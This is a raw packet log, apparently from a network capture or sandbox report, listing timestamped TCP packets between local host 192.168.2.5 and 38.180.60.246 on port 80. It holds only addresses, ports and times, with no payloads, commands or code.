Jul 15, 2024 00:48:24.447439909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447458982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447468042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447488070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.448956966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449002028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449013948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449014902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449039936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449054003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449080944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449095011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449107885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449120045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449121952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449141026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449158907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.449373960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.449424982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.450922966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.450946093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.450959921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.450975895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.450985909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.451004982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.451097012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.451109886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.451122999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.451134920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.451137066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.451154947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.451164961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.451185942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456343889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456396103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456422091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456434011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456450939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456461906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456478119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456501961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456501961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456516981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456522942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456566095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456603050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456646919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456779957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456793070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456804037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456816912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456824064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456829071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456842899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456856012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456864119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456871033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.456887007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.456904888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457079887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457093000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457104921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457118034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457129955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457130909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457142115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457159042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457180023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457189083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457192898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457204103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457216024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457220078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457231998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457251072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457279921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457315922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457360983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457365990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457410097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457425117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457437992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457451105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457462072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457470894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457494974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457520008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457525969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457537889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457550049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457562923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457567930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457583904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457609892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457649946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457664013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457678080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457690954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457696915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457703114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457712889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457741976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457844973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457858086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457870960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457882881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457889080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457895994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.457921028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.457950115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458055973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458069086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458081961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458093882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458101034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458106041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458110094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458120108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458132029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458132982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458144903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458158016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458158016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458178997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458201885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458329916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458340883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458353043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458365917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458378077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458379030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458390951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458405018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458409071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458420992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458432913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458445072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458445072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458476067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458614111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458625078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458637953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458650112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458662987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458664894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458676100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458688021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458689928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458703995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458709955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458734989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458755970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458837032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458879948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458909035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458920956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458935022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458946943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458951950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.458960056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458972931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.458981037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459005117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459026098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459331989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459381104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459435940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459446907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459459066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459471941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459481955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459485054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459498882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459508896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459531069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.459585905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459598064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.459633112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.470302105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470316887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470390081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.470431089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470443010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470458031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470469952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470472097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.470484018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.470504045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.470530987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.537611961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537652016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537663937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537697077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537705898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.537736893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.537791967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537801981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537812948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537826061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537828922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.537862062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.537919998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.537952900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.538017988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538028002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538038969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538058996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.538083076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.538280010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538290977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538301945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538311005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.538317919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.538347960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539674997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539721966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539724112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539732933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539764881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539777994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539782047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539819002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539829016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539855957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539869070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539870024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539880037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.539892912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539912939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.539928913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541497946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541517019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541526079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541537046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541549921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541568995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541593075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541620016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541630030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541640043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541651011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.541657925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541676998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.541708946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.546946049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547002077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547080994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547099113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547099113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547132015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547137022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547147989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547178984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547193050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547215939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547228098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547239065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547261953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547287941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547317028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547327995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547341108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547353029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547363043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547364950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547393084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547405005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547506094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547518969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547559023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547720909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547730923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547743082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547775030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547784090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547794104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547794104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547806978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547826052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547842979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547873020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547883034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.547920942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.547991037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548002005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548012972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548033953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548051119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548058987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548069954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548101902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548130035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548140049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548150063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548161030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548175097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548177004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548194885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548213959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548276901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548324108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548394918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548408031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548428059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548437119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548439026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548450947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548458099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548463106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548470974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548475981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548495054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548501015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548508883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548521042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548521996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548549891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548579931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548677921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548721075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548774004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548784971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548796892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548808098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548820019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548823118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548830986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548842907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.548851967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.548876047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.549011946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549035072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.549047947 CEST	80	49704	38.180.60.246	192.168.2.5
